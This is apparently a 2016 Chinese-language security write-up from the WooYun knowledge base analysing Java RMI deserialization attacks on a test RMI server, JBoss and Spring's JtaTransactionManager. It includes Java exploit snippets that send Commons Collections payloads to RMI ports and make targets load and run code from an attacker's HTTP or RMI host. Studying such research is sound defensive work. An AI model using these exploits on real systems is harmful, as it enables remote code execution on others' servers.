java RMI相關反序列化漏洞整合分析

wyzsk發表於2020-08-19
作者: angelwhu · 2016/02/26 10:43

Author:angelwhu

0x00 背景


在闡述java反序列化漏洞時,原文中提到:

Java LOVES sending serialized objects all over the place. For example:

In HTTP requests – Parameters, ViewState, Cookies, you name it.

RMI – The extensively used Java RMI protocol is 100% based on serialization
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects

JMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

在java使用RMI機制時,會使用序列化物件進行資料傳輸。這就會產生java反序列化漏洞。利用範圍是很大。

之後,綠盟科技提到了JBoss中存在RMI機制方面的漏洞。最近又有了spring框架RCE漏洞,這個漏洞利用與RMI密切相關。

這裡便整理關於RMI漏洞的相關漏洞,並進行簡要利用分析。

0x01 RMI簡介


摘自網路的簡要介紹:

RMI是Remote Method Invocation的簡稱,是J2SE的一部分,能夠讓程式設計師開發出基於Java的分散式應用。一個RMI物件是一個遠端Java物件,可以從另一個Java虛擬機器上(甚至跨過網路)呼叫它的方法,可以像呼叫本地Java物件的方法一樣呼叫遠端物件的方法,使分佈在不同的JVM中的物件的外表和行為都像本地物件一樣。

這裡看出它的功能中是可以透過網路進行物件的傳輸,使其可以進行遠端物件呼叫。下面就寫一個簡單的RMI程式,說明其存在反序列化漏洞問題。

0x02 RMI應用程式攻擊


首先簡單的實現一個服務端,啟用RMI服務,繫結在6600埠:

#!java
public class Run {

    public static void main(String[] args) {
        try {
            //PersonServiceInterface personService=new PersonServiceImp();
            //註冊通訊埠
            LocateRegistry.createRegistry(6600);
            //註冊通訊路徑
            //Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
            System.out.println("Service Start!");
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

}

上述程式碼中程式碼中,本來我使用bind函式,將personService物件繫結在伺服器端供外部呼叫。

但我發現,即使沒有任何物件繫結,只是用一行程式碼LocateRegistry.createRegistry(6600);,開通RMI服務。然後,透過訪問服務埠(這裡的6600埠),即可實現反序列化攻擊。

這裡進行利用當然遵從java反序列化漏洞中一個條件:Apache Commons Collections或者其他存在缺陷的第三方庫包含在lib路徑中。這裡使用的是commons-collections-3.1.jar,將其加入到lib路徑中。

這樣,上述簡單的RMI應用程式滿足了反序列化漏洞的兩個條件:

  • 存在反序列化物件資料傳輸。
  • 有缺陷的Apache Commons Collections第三方庫在lib路徑中。

攻擊程式碼的編寫:

#!java
Object instance = PayloadGeneration.generateExecPayload("calc");

InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//動態代理Rmote介面。
Registry registry = LocateRegistry.getRegistry(ip, port);//伺服器端的ip和埠
try{
    registry.bind("pwned", r); // r is remote obj
}
catch (Throwable e) 
{
    e.printStackTrace();
}

這裡將java反序列化漏洞的payload封裝了下,PayloadGeneration.generateExecPayload("calc");會產生一個執行calc命令的物件,有興趣的可以在我的github上檢視原始碼。然後,將我們的payload傳送到RMI服務埠進行攻擊。

registry.bind("pwned", r);中r物件必須繼承Remote介面。所以這裡使用了java動態代理技術來代理Remote介面並生成其物件r。然後使用bind函式便可將攻擊payload傳送到RMI服務中,遠端執行calc命令,攻擊完成。本機測試如下:

這裡可以看到,只要應用伺服器上使用了RMI服務,並使用了Apache Commons Collections第三方庫,就可能存在反序列化命令執行的漏洞。

值得關注的是,RMI服務的攻擊,同樣可以使用URLClassLoader方法進行回顯。

#!java
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 

同樣,將封裝好的payload換成URLClassLoader的攻擊負載。便能載入遠端的exploit.ErrorBaseError類,執行pwd命令,即可回顯。這是我在Ubuntu上執行服務端進行的測試結果。

這裡說明了應用程式在使用RMI機制時,會存在反序列化的問題。如果恰好使用了有缺陷的第三方庫,那就可以遠端命令執行了。接下來,看看實際場景中的相關漏洞。

0x03 JBoss RMI攻擊利用


JBOSS符合我們在上述討論中的兩個條件:

  • 它使用了RMI機制進行資訊通訊,埠1099使用了jndi和埠1090則是RMI服務埠。
  • 並且包含了Apache Commons Collections第三方庫。於是就可以說存在遠端命令執行漏洞了。

在綠盟科技的文章中,提到了JBOSS中存在使用RMI機制的問題,可以在JMXInvoker刪除的情況下獲取shell。 於是可以這樣重現命令執行。

使用如下命令啟動jboss,預設就會對外開放所有埠。當然10.10.10.135代表本機ip。

#!bash
./run.sh -b 10.10.10.135  

首先,掃描一下jboss伺服器埠,這裡我使用的是jboss-6.1.0.Final版本,安裝在Ubuntu虛擬機器中。使用nmap掃描結果如下:

#!bash
1090/tcp open  ff-fms
1091/tcp open  ff-sm
1098/tcp open  rmiactivation
1099/tcp open  rmiregistry
4446/tcp open  n1-fwp
5500/tcp open  hotline
8009/tcp open  ajp13
8080/tcp open  http-proxy
8083/tcp open  us-srv  

發現1090埠和1099埠對外開放了。也就是說RMI服務對外開放了。

在這裡說一下,在jboss利用上面,按照原文的程式碼利用,沒有重現成功。其中有payload的問題,所以使用了我自己寫的封裝好的payload,比較方便。另外,我們一開始認為攻擊1099埠,我的好同學研究發現應該是1090埠,這才攻擊成功。

於是有了以下攻擊程式碼:

#!java
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 

InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));
Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090);
try{
    registry.bind("pwned", r); // r is remote obj
}
catch (Throwable e) 
{
    e.printStackTrace();
}   

執行程式碼,並攻擊Jboss可以得到如下執行結果:

0x04 Spring framework遠端命令執行分析


這個漏洞涉及JNDI和RMI服務,比較有趣。程式碼細節分析請參考資料中的第三個,分析的非常好,就不班門弄斧了。這裡簡單理清這個攻擊的步驟。

Apache Commons Collections這個庫的反序列化利用類似,我們需要將spring框架中的lib包,包含在CLASSPATH中。這個要求比較苛刻,需要的包也比較多:

翻譯下原文的命令執行程式碼鏈:

spring-tx.jar中包含org.springframework.transaction.jta.JtaTransactionManager類,這個類存在JNDI的反序列化問題。
它的readObject() 方法執行中含有這樣的一個路徑:

#!bash
initUserTransactionAndTransactionManager()->
lookupUserTransaction()->
JndiTemplate.lookup()->
InitialContext.lookup(userTransactionName)  

InitialContext.Lookup() 會呼叫 userTransactionName屬性,這個屬性是我們可以控制的。
查閱JNDI使用,可以發現userTransactionName屬性可以是一個外網的RMI路徑,比如:rmi://10.10.10.1:1099/Object

於是我們可以自己搭建一個RMI伺服器,讓目標伺服器來訪問下載執行準備好的任意java程式碼。
服務端搭建在Ubuntu虛擬機器上,簡單地建立一個socket進行資料傳輸並反序列化解析。程式碼自行查閱github~~

簡要畫的原理如下:

Client端即為攻擊方,它向目標伺服器傳送JtaTransactionManager序列化物件後,會觸發server端進行訪問Client端(即:這時的RMI伺服器端)中的RMI服務,去下載任意java物件進行執行。關鍵程式碼為:

#!java
//建立RMI服務
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/");
//訪問rmi服務時,會轉到該url地址中下載client.ExportObject類,並新建物件。

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

String jndiAddress = "rmi://"+localAddress+":1099/Object";
//透過jndi訪問rmi服務

org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

測試遠端執行ifconfig命令,可在服務端看到執行成功,同時客戶端看到了訪問記錄。結果如下:

0x05 結語


java反序列漏洞影響很大,RMI機制也是冰山一角。期待相互交流研究。

0x06 參考資料及原始碼


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章